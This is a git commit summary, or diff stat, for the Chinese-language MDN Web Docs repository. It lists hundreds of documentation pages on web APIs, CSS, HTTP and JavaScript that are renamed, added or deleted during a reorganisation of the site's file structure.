.../api/htmlcanvaselement/capturestream/index.html | 122 + .../index.html" | 122 - .../zh-cn/web/api/htmlelement/accesskey/index.html | 23 + .../api/htmlelement/animationend_event/index.html | 92 + .../htmlelement/animationstart_event/index.html | 89 + files/zh-cn/web/api/htmlelement/blur/index.html | 24 - .../web/api/htmlelement/change_event/index.html | 124 + files/zh-cn/web/api/htmlelement/dataset/index.html | 123 - files/zh-cn/web/api/htmlelement/focus/index.html | 158 -- .../zh-cn/web/api/htmlelement/innertext/index.html | 92 + .../web/api/htmlelement/input_event/index.html | 157 ++ files/zh-cn/web/api/htmlelement/nonce/index.html | 60 - files/zh-cn/web/api/htmlelement/style/index.html | 80 - .../zh-cn/web/api/htmlelement/tabindex/index.html | 49 - .../api/htmlelement/transitionend_event/index.html | 132 + .../api/htmlhyperlinkelementutils/hash/index.html | 109 + .../api/htmlhyperlinkelementutils/href/index.html | 108 + .../web/api/htmlhyperlinkelementutils/index.html | 83 + .../htmlhyperlinkelementutils/origin/index.html | 116 + .../htmlhyperlinkelementutils/password/index.html | 104 + .../htmlhyperlinkelementutils/pathname/index.html | 110 + .../htmlhyperlinkelementutils/search/index.html | 116 + .../htmlhyperlinkelementutils/tostring/index.html | 110 + .../htmlhyperlinkelementutils/username/index.html | 102 + .../mozsetfilenamearray/index.html | 49 - .../web/api/htmlorforeignelement/blur/index.html | 24 + .../api/htmlorforeignelement/dataset/index.html | 123 + .../web/api/htmlorforeignelement/focus/index.html | 158 ++ .../web/api/htmlorforeignelement/nonce/index.html | 60 + .../api/htmlorforeignelement/tabindex/index.html | 49 + files/zh-cn/web/api/index/index.html | 6 + .../timing_element_visibility/index.html | 562 ++++ .../index.html" | 562 ---- .../zh-cn/web/api/mediastream.addtrack/index.html | 122 - .../zh-cn/web/api/mediastream/addtrack/index.html | 122 + files/zh-cn/web/api/msselection/index.html | 103 - files/zh-cn/web/api/namelist/index.html | 48 - .../zh-cn/web/api/navigatorgeolocation/index.html | 105 - .../index.html" | 38 - files/zh-cn/web/api/node/baseuriobject/index.html | 19 - files/zh-cn/web/api/node/innertext/index.html | 92 - files/zh-cn/web/api/node/nodeprincipal/index.html | 19 - files/zh-cn/web/api/node/outertext/index.html | 9 - files/zh-cn/web/api/node/rootnode/index.html | 115 - files/zh-cn/web/api/notification/sound/index.html | 129 - .../using_web_notifications/index.html | 292 -- .../using_the_notifications_api/index.html | 292 ++ .../api/offlineaudiocontext/complete/index.html | 81 - .../offlineaudiocontext/complete_event/index.html | 81 + .../api/payment_request_api/concepts/index.html | 128 + files/zh-cn/web/api/payment_request_api/index.html | 136 + files/zh-cn/web/api/performance/memory/index.html | 42 + .../\345\206\205\345\255\230/index.html" | 42 - files/zh-cn/web/api/pointer_lock_api/index.html | 267 ++ .../web/api/push_api/using_the_push_api/index.html | 424 --- .../api/randomsource/getrandomvalues/index.html | 77 - files/zh-cn/web/api/randomsource/index.html | 107 - files/zh-cn/web/api/response/clone/index.html | 143 + .../response/\345\205\213\351\232\206/index.html" | 143 - .../icecandidate_event/index.html | 135 + .../using_screen_capture/index.html | 355 +++ .../index.html" | 355 --- .../api/selection/deletefromdocument/index.html | 107 + .../index.html" | 107 - files/zh-cn/web/api/server-sent_events/index.html | 77 + .../using_server-sent_events/index.html | 190 ++ files/zh-cn/web/api/slotable/index.html | 48 - files/zh-cn/web/api/speechrecognition/index.html | 153 ++ .../api/speechrecognition/result_event/index.html | 83 + .../zh-cn/web/api/storage/localstorage/index.html | 136 - .../zh-cn/web/api/streams_api/concepts/index.html | 118 + .../streams_api/using_readable_streams/index.html | 307 +++ .../index.html" | 307 --- .../\346\246\202\345\277\265/index.html" | 118 - files/zh-cn/web/api/textrange/text/index.html | 72 - files/zh-cn/web/api/uievent/view/index.html | 52 + .../uievent/\350\247\206\345\233\276/index.html" | 52 - files/zh-cn/web/api/url/password/index.html | 57 + .../api/url/\345\257\206\347\240\201/index.html" | 57 - files/zh-cn/web/api/urlutils/hash/index.html | 109 - files/zh-cn/web/api/urlutils/href/index.html | 108 - files/zh-cn/web/api/urlutils/index.html | 83 - files/zh-cn/web/api/urlutils/origin/index.html | 116 - files/zh-cn/web/api/urlutils/password/index.html | 104 - files/zh-cn/web/api/urlutils/pathname/index.html | 110 - files/zh-cn/web/api/urlutils/search/index.html | 116 - files/zh-cn/web/api/urlutils/tostring/index.html | 110 - files/zh-cn/web/api/urlutils/username/index.html | 102 - .../api/web_audio_api/best_practices/index.html | 100 + .../index.html" | 100 - .../structured_clone_algorithm/index.html | 108 + .../webglrenderingcontext/polygonoffset/index.html | 76 + .../index.html" | 76 - .../web/api/webrtc_api/architecture/index.html | 18 - files/zh-cn/web/api/webrtc_api/overview/index.html | 23 - .../web/api/webrtc_api/session_lifetime/index.html | 88 + .../web/api/webrtc_api/webrtc_basics/index.html | 263 -- .../zh-cn/web/api/websocket/binarytype/index.html | 56 + .../index.html" | 56 - .../websocket_server_vb.net/index.html | 270 -- .../web/api/window/afterprint_event/index.html | 102 + .../web/api/window/beforeprint_event/index.html | 100 + .../web/api/window/beforeunload_event/index.html | 104 + files/zh-cn/web/api/window/blur/index.html | 39 + .../zh-cn/web/api/window/clearinterval/index.html | 74 - .../api/window/domcontentloaded_event/index.html | 128 + files/zh-cn/web/api/window/getattention/index.html | 33 - files/zh-cn/web/api/window/load_event/index.html | 161 ++ .../zh-cn/web/api/window/onbeforeunload/index.html | 111 - files/zh-cn/web/api/window/onhashchange/index.html | 124 - files/zh-cn/web/api/window/onmouseup/index.html | 43 - files/zh-cn/web/api/window/onpopstate/index.html | 68 - files/zh-cn/web/api/window/onscroll/index.html | 54 - files/zh-cn/web/api/window/onunload/index.html | 69 - .../zh-cn/web/api/window/pageshow_event/index.html | 143 + files/zh-cn/web/api/window/restore/index.html | 17 - files/zh-cn/web/api/window/setinterval/index.html | 635 ----- files/zh-cn/web/api/window/settimeout/index.html | 476 ---- .../api/window/unhandledrejection_event/index.html | 118 + files/zh-cn/web/api/window/unload_event/index.html | 125 + files/zh-cn/web/api/window/url/index.html | 105 - .../zh-cn/web/api/window/window.blur()/index.html | 39 - files/zh-cn/web/api/windowbase64/atob/index.html | 78 - .../base64_encoding_and_decoding/index.html | 605 ---- files/zh-cn/web/api/windowbase64/btoa/index.html | 171 -- .../windoweventhandlers/onbeforeunload/index.html | 111 + .../windoweventhandlers/onhashchange/index.html | 124 + .../api/windoweventhandlers/onpopstate/index.html | 68 + .../api/windoweventhandlers/onunload/index.html | 69 + .../api/windoworworkerglobalscope/atob/index.html | 78 + .../api/windoworworkerglobalscope/btoa/index.html | 171 ++ .../clearinterval/index.html | 74 + .../cleartimeout/index.html | 150 + .../setinterval/index.html | 635 +++++ .../settimeout/index.html | 476 ++++ .../web/api/windowtimers/cleartimeout/index.html | 150 - .../api/xmlhttprequest/loadend_event/index.html | 89 + .../api/xmlhttprequest/loadstart_event/index.html | 91 + .../api/xmlhttprequest/progress_event/index.html | 146 + files/zh-cn/web/api/xmlserializer/index.html | 92 + .../web/api/\346\214\207\346\225\260/index.html" | 6 - .../concepts/index.html" | 128 - .../index.html" | 136 - .../index.html" | 153 -- .../result_event/index.html" | 83 - files/zh-cn/web/css/@viewport/height/index.html | 80 - .../zh-cn/web/css/@viewport/orientation/index.html | 110 - .../web/css/@viewport/viewport-fit/index.html | 67 - files/zh-cn/web/css/@viewport/width/index.html | 133 - files/zh-cn/web/css/@viewport/zoom/index.html | 69 - .../web/css/_colon_-moz-placeholder/index.html | 67 - files/zh-cn/web/css/_colon_any/index.html | 190 -- files/zh-cn/web/css/_colon_blank/index.html | 56 + .../index.html" | 56 - .../css/_doublecolon_-moz-placeholder/index.html | 99 - .../css/all_about_the_containing_block/index.html | 268 -- .../zh-cn/web/css/common_css_questions/index.html | 183 -- files/zh-cn/web/css/containing_block/index.html | 268 ++ .../border-radius_generator/index.html | 1599 +++++++++++ .../box-shadow_generator/index.html | 2880 ++++++++++++++++++++ .../web/css/css_background_and_borders/index.html | 155 -- .../using_css_multiple_backgrounds/index.html | 60 - .../index.html" | 1599 ----------- .../resizing_background_images/index.html | 129 + .../scaling_background_images/index.html | 129 - .../index.html | 125 + .../css_box_model/box-shadow_generator/index.html | 2880 -------------------- files/zh-cn/web/css/css_colors/index.html | 120 - .../using_multi-column_layouts/index.html | 130 + .../backwards_compatibility_of_flexbox/index.html | 121 + .../index.html" | 121 - .../css/css_flexible_box_layout/mixins/index.html | 408 --- .../index.html | 123 + .../typical_use_cases_of_flexbox/index.html | 131 + .../using_css_flexible_boxes/index.html | 408 --- .../index.html | 187 -- .../index.html" | 131 - .../index.html" | 123 - .../in_flow_and_out_of_flow/index.html | 64 + .../index.html" | 64 - files/zh-cn/web/css/css_fragmentation/index.html | 46 + .../index.html | 502 ---- .../index.html | 502 ++++ .../index.html | 593 ++++ .../index.html" | 593 ---- .../implementing_image_sprites_in_css/index.html | 49 + .../css/css_images/using_css_gradients/index.html | 717 +++++ .../consistent_list_indentation/index.html | 106 + .../using_css_counters/index.html | 120 + .../basic_concepts/index.html | 71 + .../basic_conceptsjie/index.html | 71 - .../floating_and_positioning/index.html | 132 + .../index.html" | 132 - .../adding_z-index/index.html | 158 ++ .../understanding_z_index/index.html | 47 + .../stacking_and_float/index.html | 158 ++ .../stacking_context_example_1/index.html | 133 + .../stacking_context_example_2/index.html | 142 + .../stacking_context_example_3/index.html | 190 ++ .../stacking_without_z-index/index.html | 161 ++ .../the_stacking_context/index.html | 240 ++ .../css_selectors/comparison_with_xpath/index.html | 43 - .../index.html | 68 + .../css/css_\345\210\206\347\211\207/index.html" | 46 - .../css/cssom_view/coordinate_systems/index.html | 178 ++ .../index.html" | 178 -- files/zh-cn/web/css/cursor/url/index.html | 125 - files/zh-cn/web/css/float/index.html | 247 ++ files/zh-cn/web/css/grid-template-rows/index.html | 209 ++ .../zh-cn/web/css/layout_cookbook/card/index.html | 82 + .../css/layout_cookbook/media_objects/index.html | 86 + .../\345\215\241\347\211\207/index.html" | 82 - .../index.html" | 86 - files/zh-cn/web/css/media_queries/index.html | 109 + .../media_queries/testing_media_queries/index.html | 90 + .../media_queries/using_media_queries/index.html | 412 +++ files/zh-cn/web/css/offset/index.html | 97 + files/zh-cn/web/css/overflow-wrap/index.html | 147 + .../web/css/text-decoration-thickness/index.html | 119 + files/zh-cn/web/css/timing-function/index.html | 266 -- files/zh-cn/web/css/url()/index.html | 127 + files/zh-cn/web/css/url/index.html | 127 - .../web/css/visual_formatting_model/index.html | 282 ++ files/zh-cn/web/css/word-wrap/index.html | 147 - .../web/css/\345\201\217\347\247\273/index.html" | 97 - .../index.html" | 109 - .../index.html" | 119 - .../index.html" | 209 -- .../web/demos_of_open_web_technologies/index.html | 154 ++ files/zh-cn/web/events/abort/index.html | 74 - files/zh-cn/web/events/afterprint/index.html | 102 - .../zh-cn/web/events/afterscriptexecute/index.html | 57 - files/zh-cn/web/events/animationend/index.html | 92 - files/zh-cn/web/events/animationstart/index.html | 89 - files/zh-cn/web/events/beforeprint/index.html | 100 - .../web/events/beforescriptexecute/index.html | 57 - files/zh-cn/web/events/beforeunload/index.html | 104 - files/zh-cn/web/events/blur/index.html | 150 - files/zh-cn/web/events/change/index.html | 124 - files/zh-cn/web/events/compositionend/index.html | 146 - files/zh-cn/web/events/compositionstart/index.html | 152 -- .../zh-cn/web/events/compositionupdate/index.html | 145 - files/zh-cn/web/events/copy/index.html | 164 -- files/zh-cn/web/events/cut/index.html | 159 -- files/zh-cn/web/events/domcontentloaded/index.html | 128 - files/zh-cn/web/events/error/index.html | 135 - files/zh-cn/web/events/focus/index.html | 137 - files/zh-cn/web/events/focusout/index.html | 125 - files/zh-cn/web/events/icecandidate/index.html | 135 - files/zh-cn/web/events/input/index.html | 157 -- files/zh-cn/web/events/load/index.html | 161 -- files/zh-cn/web/events/loadend/index.html | 89 - files/zh-cn/web/events/loadstart/index.html | 91 - files/zh-cn/web/events/message/index.html | 167 -- files/zh-cn/web/events/mousewheel/index.html | 181 -- files/zh-cn/web/events/pageshow/index.html | 143 - files/zh-cn/web/events/paste/index.html | 103 - .../index.html" | 149 - files/zh-cn/web/events/transitionend/index.html | 132 - .../zh-cn/web/events/unhandledrejection/index.html | 118 - files/zh-cn/web/events/unload/index.html | 125 - .../index.html" | 146 - files/zh-cn/web/guide/api/dom/index.html | 33 - files/zh-cn/web/guide/api/dom/storage/index.html | 542 ---- .../dom/the_structured_clone_algorithm/index.html | 108 - .../css/consistent_list_indentation/index.html | 106 - files/zh-cn/web/guide/css/counters/index.html | 120 - .../web/guide/css/css_image_sprites/index.html | 49 - .../css/css\345\237\272\347\241\200/index.html" | 57 - .../web/guide/css/getting_started/boxes/index.html | 331 --- .../cascading_and_inheritance/index.html | 125 - .../web/guide/css/getting_started/color/index.html | 333 --- .../guide/css/getting_started/content/index.html | 160 -- .../css/getting_started/how_css_works/index.html | 121 - .../zh-cn/web/guide/css/getting_started/index.html | 59 - .../css/getting_started/javascript/index.html | 172 -- .../guide/css/getting_started/layout/index.html | 368 --- .../web/guide/css/getting_started/lists/index.html | 324 --- .../web/guide/css/getting_started/media/index.html | 391 --- .../css/getting_started/readable_css/index.html | 167 -- .../guide/css/getting_started/selectors/index.html | 414 --- .../css/getting_started/svg_and_css/index.html | 191 -- .../guide/css/getting_started/tables/index.html | 509 ---- .../css/getting_started/text_styles/index.html | 158 -- .../css/getting_started/what_is_css/index.html | 115 - .../css/getting_started/why_use_css/index.html | 105 - files/zh-cn/web/guide/css/media_queries/index.html | 412 --- .../guide/css/scaling_background_images/index.html | 114 - .../web/guide/css/testing_media_queries/index.html | 90 - .../adding_z-index/index.html | 158 -- .../web/guide/css/understanding_z_index/index.html | 47 - .../stacking_and_float/index.html | 158 -- .../stacking_context_example_1/index.html | 133 - .../stacking_context_example_2/index.html | 142 - .../stacking_context_example_3/index.html | 190 -- .../stacking_without_z-index/index.html | 161 -- .../the_stacking_context/index.html | 240 -- .../web/guide/css/using_css_gradients/index.html | 717 ----- .../css/using_multi-column_layouts/index.html | 130 - .../using_the__colon_target_selector/index.html | 68 - .../guide/css/visual_formatting_model/index.html | 282 -- .../web/guide/html/content_editable/index.html | 219 -- .../rich-text_editing_in_mozilla/index.html | 272 -- .../web/guide/html/editable_content/index.html | 219 ++ .../rich-text_editing_in_mozilla/index.html | 272 ++ files/zh-cn/web/guide/html/email_links/index.html | 86 - .../zh-cn/web/guide/html/forms_in_html/index.html | 144 - files/zh-cn/web/guide/html/html/index.html | 181 -- .../guide/html/html5/html5_element_list/index.html | 591 ---- .../html5/html5_thematic_classification/index.html | 169 -- .../index.html | 377 --- .../index.html | 213 -- .../guide/html/using_data_attributes/index.html | 80 - .../html/using_html5_audio_and_video/index.html | 275 -- .../using_html_sections_and_outlines/index.html | 377 +++ .../introduction_to_web_development/index.html | 28 + files/zh-cn/web/guide/woff/index.html | 61 + .../web/html/attributes/autocomplete/index.html | 258 ++ .../web/html/attributes/crossorigin/index.html | 155 ++ .../index.html" | 258 -- .../web/html/cors_settings_attributes/index.html | 155 -- .../index.html | 100 - files/zh-cn/web/html/element/command/index.html | 139 - files/zh-cn/web/html/element/element/index.html | 112 - .../zh-cn/web/html/element/input/month/index.html | 457 ++++ .../zh-cn/web/html/element/input/range/index.html | 515 ++++ .../input/\346\234\210\344\273\275/index.html" | 457 ---- .../input/\350\214\203\345\233\264/index.html" | 515 ---- .../web/html/focus_management_in_html/index.html | 79 - .../web/html/global_attributes/dropzone/index.html | 94 - .../x-ms-acceleratorkey/index.html | 41 + .../x-ms-format-detection/index.html | 43 + .../index.html" | 41 - .../index.html" | 43 - .../index.html | 29 - .../web/html/supported_media_formats/index.html | 563 ---- .../zh-cn/web/http/access_control_cors/index.html | 510 ---- .../web/http/basics_of_http/data_uris/index.html | 116 + files/zh-cn/web/http/caching/index.html | 163 ++ files/zh-cn/web/http/caching_faq/index.html | 163 -- .../index.html" | 248 -- .../list_of_default_accept_values/index.html | 248 ++ .../errors/corsmissingallowcredentials/index.html | 32 + .../index.html" | 32 - files/zh-cn/web/http/cors/index.html | 510 ++++ files/zh-cn/web/http/data_uris/index.html | 116 - files/zh-cn/web/http/feature_policy/index.html | 153 ++ .../feature_policy/using_feature_policy/index.html | 140 + .../headers/strict-transport-security/index.html | 121 + .../http/headers/x-dns-prefetch-control/index.html | 97 + .../web/http/headers/x-frame-options/index.html | 161 ++ .../zh-cn/web/http/http_response_codes/index.html | 13 - .../http/http_strict_transport_security/index.html | 121 - .../proxy_auto-configuration_(pac)_file/index.html | 729 ----- .../proxy_auto-configuration_pac_file/index.html | 729 +++++ .../web/http/server-side_access_control/index.html | 249 -- files/zh-cn/web/http/x-frame-options/index.html | 161 -- .../index.html" | 153 -- .../using_feature_policy/index.html" | 140 - .../index.html" | 544 ---- .../web/javascript/getting_started/index.html | 294 -- files/zh-cn/web/javascript/guide/about/index.html | 136 - .../guide/javascript_overview/index.html | 136 - .../regular_expressions/boundaries/index.html | 7 - .../regular_expressions/quantifiers/index.html | 170 ++ .../\351\207\217\350\257\215/index.html" | 170 -- .../index.html | 362 --- .../index.html | 436 --- .../index.html" | 292 -- .../reference/classes/class_elements/index.html | 352 --- .../classes/public_class_fields/index.html | 352 +++ .../errors/cant_assign_to_property/index.html | 52 + .../index.html" | 52 - .../global_objects/array/prototype/index.html | 178 -- .../arraybuffer/prototype/index.html | 64 - .../asyncfunction/prototype/index.html | 57 - .../global_objects/asynciterator/index.html | 119 - .../global_objects/boolean/prototype/index.html | 76 - .../global_objects/dataview/prototype/index.html | 103 - .../global_objects/date/prototype/index.html | 181 -- .../global_objects/error/prototype/index.html | 162 -- .../global_objects/evalerror/prototype/index.html | 85 - .../global_objects/function/prototype/index.html | 139 - .../generatorfunction/prototype/index.html | 65 - .../intl/datetimeformat/prototype/index.html | 120 - .../global_objects/map/prototype/index.html | 131 - .../reference/global_objects/math/acosh/index.html | 91 + .../index.html" | 91 - .../global_objects/number/prototype/index.html | 132 - .../global_objects/object/prototype/index.html | 195 -- .../global_objects/promise/prototype/index.html | 116 - .../global_objects/proxy/handler/apply/index.html | 117 - .../proxy/handler/construct/index.html | 130 - .../proxy/handler/defineproperty/index.html | 181 -- .../proxy/handler/deleteproperty/index.html | 149 - .../global_objects/proxy/handler/get/index.html | 177 -- .../handler/getownpropertydescriptor/index.html | 168 -- .../proxy/handler/getprototypeof/index.html | 141 - .../global_objects/proxy/handler/has/index.html | 176 -- .../global_objects/proxy/handler/index.html | 77 - .../proxy/handler/isextensible/index.html | 123 - .../proxy/handler/ownkeys/index.html | 193 -- .../proxy/handler/preventextensions/index.html | 120 - .../global_objects/proxy/handler/set/index.html | 125 - .../proxy/handler/setprototypeof/index.html | 124 - .../global_objects/proxy/proxy/apply/index.html | 117 + .../proxy/proxy/construct/index.html | 130 + .../proxy/proxy/defineproperty/index.html | 181 ++ .../proxy/proxy/deleteproperty/index.html | 149 + .../global_objects/proxy/proxy/get/index.html | 177 ++ .../proxy/getownpropertydescriptor/index.html | 168 ++ .../proxy/proxy/getprototypeof/index.html | 141 + .../global_objects/proxy/proxy/has/index.html | 176 ++ .../proxy/proxy/isextensible/index.html | 123 + .../global_objects/proxy/proxy/ownkeys/index.html | 193 ++ .../proxy/proxy/preventextensions/index.html | 120 + .../global_objects/proxy/proxy/set/index.html | 125 + .../proxy/proxy/setprototypeof/index.html | 124 + .../global_objects/rangeerror/prototype/index.html | 89 - .../referenceerror/prototype/index.html | 93 - .../index.html | 134 + .../index.html" | 134 - .../global_objects/regexp/prototype/index.html | 153 -- .../sharedarraybuffer/prototype/index.html | 63 - .../global_objects/string/prototype/index.html | 187 -- .../global_objects/string/trimend/index.html | 84 + .../global_objects/string/trimleft/index.html | 122 - .../global_objects/string/trimright/index.html | 84 - .../global_objects/string/trimstart/index.html | 122 + .../global_objects/symbol/prototype/index.html | 67 - .../syntaxerror/prototype/index.html | 133 - .../global_objects/typedarray/prototype/index.html | 172 -- .../global_objects/typeerror/prototype/index.html | 94 - .../global_objects/urierror/prototype/index.html | 83 - .../global_objects/weakmap/prototype/index.html | 138 - .../global_objects/weakset/prototype/index.html | 115 - .../reference/operators/addition/index.html | 79 + .../operators/arithmetic_operators/index.html | 302 -- .../operators/assignment_operators/index.html | 413 --- .../reference/operators/async_function/index.html | 98 + .../index.html" | 98 - .../reference/operators/bitwise_and/index.html | 106 + .../operators/bitwise_operators/index.html | 756 ----- .../operators/comparison_operators/index.html | 278 -- .../reference/operators/decrement/index.html | 85 + .../reference/operators/equality/index.html | 125 + .../reference/operators/logical_and/index.html | 137 + .../operators/logical_operators/index.html | 238 -- .../operators/optional_chaining/index.html | 202 ++ .../operators/pipeline_operator/index.html | 75 + .../reference/operators/remainder/index.html | 81 + .../operators/\345\217\226\344\275\231/index.html" | 81 - .../index.html" | 202 -- .../index.html" | 106 - .../operators/\347\233\270\345\212\240/index.html" | 79 - .../operators/\347\233\270\347\255\211/index.html" | 125 - .../index.html" | 75 - .../operators/\350\207\252\345\207\217/index.html" | 85 - .../index.html" | 137 - .../javascript/reference/reserved_words/index.html | 82 - .../reference/statements/default/index.html | 120 - .../reference/template_literals/index.html | 261 ++ .../reference/template_strings/index.html | 261 -- .../index.html | 142 - .../index.html | 142 + files/zh-cn/web/localization/index.html | 36 - files/zh-cn/web/media/autoplay_guide/index.html | 265 ++ .../index.html | 100 + .../web/media/formats/video_codecs/index.html | 1673 ++++++++++++ .../index.html" | 1673 ------------ files/zh-cn/web/media/index.html | 76 + .../web/performance/how_browsers_work/index.html | 204 ++ .../index.html" | 204 -- .../add_to_home_screen/index.html | 218 ++ .../web/progressive_web_apps/loading/index.html | 152 ++ .../network_independent/index.html | 95 - .../progressive_web_apps/re-engageable/index.html | 79 - .../web/progressive_web_apps/responsive/index.html | 78 - .../responsive/media_types/index.html | 391 +++ .../\344\274\230\345\212\277/index.html" | 58 - .../\345\212\240\350\275\275/index.html" | 152 -- .../index.html" | 218 -- files/zh-cn/web/security/csp/index.html | 36 - .../introducing_content_security_policy/index.html | 56 - .../csp/using_csp_violation_reports/index.html | 97 - .../information_security_basics/index.html | 28 - .../configuring_server_mime_types/index.html | 118 - .../web/security/subresource_integrity/index.html | 199 ++ .../security/transport_layer_security/index.html | 18 + .../index.html" | 18 - .../index.html" | 199 -- files/zh-cn/web/svg/attribute/styling/index.html | 32 + .../zh-cn/web/svg/attribute/text-anchor/index.html | 95 + .../index.html" | 95 - .../attribute/\346\240\267\345\274\217/index.html" | 32 - .../zh-cn/web/svg/tutorial/svg_and_css/index.html | 191 ++ .../web/web_components/html_imports/index.html | 61 + .../html\345\257\274\345\205\245/index.html" | 61 - .../web_components/status_in_firefox/index.html | 51 - .../\345\275\261\345\255\220_dom/index.html" | 91 - .../xpath/comparison_with_css_selectors/index.html | 43 + .../index.html | 436 +++ files/zh-cn/web/xslt/element/index.html | 53 + files/zh-cn/web/xslt/elements/index.html | 53 - .../autoplay_guide/index.html" | 265 -- .../zh-cn/web/\345\252\222\344\275\223/index.html" | 76 - .../index.html" | 154 -- files/zh-cn/web_development/index.html | 96 - .../introduction_to_web_development/index.html | 28 - files/zh-cn/web_development/mobile/index.html | 18 - .../mobile/responsive_design/index.html | 49 - files/zh-cn/webapi/index.html | 120 - files/zh-cn/webguide/api/file_system/index.html | 81 - .../api/file_system/introduction/index.html | 210 -- files/zh-cn/webrtc/index.html | 76 - .../webrtc/\344\273\213\347\273\215/index.html" | 88 - files/zh-cn/woff/index.html | 61 - files/zh-cn/xhtml/index.html | 15 - files/zh-cn/xmlserializer/index.html | 92 - .../index.html" | 338 --- 1180 files changed, 97671 insertions(+), 97671 deletions(-) delete mode 100644 files/zh-cn/api/pointer_lock_api/index.html delete mode 100644 files/zh-cn/chrome/index.html create mode 100644 files/zh-cn/conflicting/glossary/chrome/index.html create mode 100644 files/zh-cn/conflicting/glossary/doctype/index.html create mode 100644 files/zh-cn/conflicting/learn/common_questions/index.html create mode 100644 files/zh-cn/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html create mode 100644 files/zh-cn/conflicting/learn/css/building_blocks/index.html create mode 100644 files/zh-cn/conflicting/learn/css/building_blocks/selectors/index.html create mode 100644 files/zh-cn/conflicting/learn/css/building_blocks/styling_tables/index.html create mode 100644 files/zh-cn/conflicting/learn/css/building_blocks/values_and_units/index.html create mode 100644 files/zh-cn/conflicting/learn/css/css_layout/index.html create mode 100644 files/zh-cn/conflicting/learn/css/first_steps/how_css_is_structured/index.html create mode 100644 files/zh-cn/conflicting/learn/css/first_steps/how_css_works/index.html create mode 100644 files/zh-cn/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html create mode 100644 files/zh-cn/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html create mode 100644 files/zh-cn/conflicting/learn/css/first_steps/index.html create mode 100644 files/zh-cn/conflicting/learn/css/styling_text/fundamentals/index.html create mode 100644 files/zh-cn/conflicting/learn/css/styling_text/fundamentals_5a3f2ce7cc4f23ec431e57a447af0711/index.html create mode 100644 files/zh-cn/conflicting/learn/css/styling_text/styling_lists/index.html create mode 100644 files/zh-cn/conflicting/learn/getting_started_with_the_web/javascript_basics/index.html create mode 100644 files/zh-cn/conflicting/learn/html/introduction_to_html/creating_hyperlinks/index.html create mode 100644 files/zh-cn/conflicting/learn/html/multimedia_and_embedding/video_and_audio_content/index.html create mode 100644 files/zh-cn/conflicting/learn/index.html create mode 100644 files/zh-cn/conflicting/learn/javascript/client-side_web_apis/manipulating_documents/index.html create mode 100644 files/zh-cn/conflicting/learn/javascript/objects/index.html create mode 100644 files/zh-cn/conflicting/learn/server-side/django/index.html create mode 100644 files/zh-cn/conflicting/learn_30ccce5e65b5ce795fc2e288fe9d012b/index.html create mode 100644 files/zh-cn/conflicting/mdn/contribute/index.html create mode 100644 files/zh-cn/conflicting/mdn/guidelines/css_style_guide/index.html create mode 100644 files/zh-cn/conflicting/mozilla/add-ons/webextensions/user_interface/index.html create mode 100644 files/zh-cn/conflicting/tools/keyboard_shortcuts/index.html create mode 100644 files/zh-cn/conflicting/tools/performance/index.html create mode 100644 files/zh-cn/conflicting/web/accessibility/index.html create mode 100644 files/zh-cn/conflicting/web/api/canvas_api/tutorial/index.html create mode 100644 files/zh-cn/conflicting/web/api/crypto/getrandomvalues/index.html create mode 100644 files/zh-cn/conflicting/web/api/document/characterset/index.html create mode 100644 files/zh-cn/conflicting/web/api/document/createevent/index.html create mode 100644 files/zh-cn/conflicting/web/api/document/hasfocus/index.html create mode 100644 files/zh-cn/conflicting/web/api/document_object_model/index.html create mode 100644 files/zh-cn/conflicting/web/api/document_object_model_dd00a71ceceac547ab464128db6bd8ef/index.html create mode 100644 files/zh-cn/conflicting/web/api/documentorshadowroot/elementfrompoint/index.html create mode 100644 files/zh-cn/conflicting/web/api/documentorshadowroot/elementsfrompoint/index.html create mode 100644 files/zh-cn/conflicting/web/api/documentorshadowroot/getselection/index.html create mode 100644 files/zh-cn/conflicting/web/api/documentorshadowroot/stylesheets/index.html create mode 100644 files/zh-cn/conflicting/web/api/dommatrix/index.html create mode 100644 files/zh-cn/conflicting/web/api/element/index.html create mode 100644 files/zh-cn/conflicting/web/api/event/composedpath/index.html create mode 100644 files/zh-cn/conflicting/web/api/eventtarget/addeventlistener/index.html create mode 100644 files/zh-cn/conflicting/web/api/eventtarget/dispatchevent/index.html create mode 100644 files/zh-cn/conflicting/web/api/eventtarget/removeeventlistener/index.html create mode 100644 files/zh-cn/conflicting/web/api/file_and_directory_entries_api/introduction/index.html create mode 100644 files/zh-cn/conflicting/web/api/geolocation/index.html create mode 100644 files/zh-cn/conflicting/web/api/globaleventhandlers/ongotpointercapture/index.html create mode 100644 files/zh-cn/conflicting/web/api/globaleventhandlers/onmouseup/index.html create mode 100644 files/zh-cn/conflicting/web/api/globaleventhandlers/onscroll/index.html create mode 100644 files/zh-cn/conflicting/web/api/globaleventhandlers/ontouchmove/index.html create mode 100644 files/zh-cn/conflicting/web/api/htmlelement/outertext/index.html create mode 100644 files/zh-cn/conflicting/web/api/htmlinputelement/index.html create mode 100644 files/zh-cn/conflicting/web/api/htmlmediaelement/abort_event/index.html create mode 100644 files/zh-cn/conflicting/web/api/index.html create mode 100644 files/zh-cn/conflicting/web/api/mouseevent/altkey/index.html create mode 100644 files/zh-cn/conflicting/web/api/mouseevent/button/index.html create mode 100644 files/zh-cn/conflicting/web/api/mouseevent/relatedtarget/index.html create mode 100644 files/zh-cn/conflicting/web/api/mouseevent/shiftkey/index.html create mode 100644 files/zh-cn/conflicting/web/api/node/getrootnode/index.html create mode 100644 files/zh-cn/conflicting/web/api/node/index.html create mode 100644 files/zh-cn/conflicting/web/api/node_378aed5ed6869e50853edbc988cf9556/index.html create mode 100644 files/zh-cn/conflicting/web/api/push_api/index.html create mode 100644 files/zh-cn/conflicting/web/api/url/index.html create mode 100644 files/zh-cn/conflicting/web/api/web_storage_api/index.html create mode 100644 files/zh-cn/conflicting/web/api/webrtc_api/index.html create mode 100644 files/zh-cn/conflicting/web/api/webrtc_api/protocols/index.html create mode 100644 files/zh-cn/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html create mode 100644 files/zh-cn/conflicting/web/api/webrtc_api_d8621144cbc61520339c3b10c61731f0/index.html create mode 100644 files/zh-cn/conflicting/web/api/window/localstorage/index.html create mode 100644 files/zh-cn/conflicting/web/api/window/moveto/index.html create mode 100644 files/zh-cn/conflicting/web/api_dd04ca1265cb79b990b8120e5f5070d3/index.html create mode 100644 files/zh-cn/conflicting/web/css/@viewport/index.html create mode 100644 files/zh-cn/conflicting/web/css/@viewport_7861ca3461a359b150d44f2c8d74e53a/index.html create mode 100644 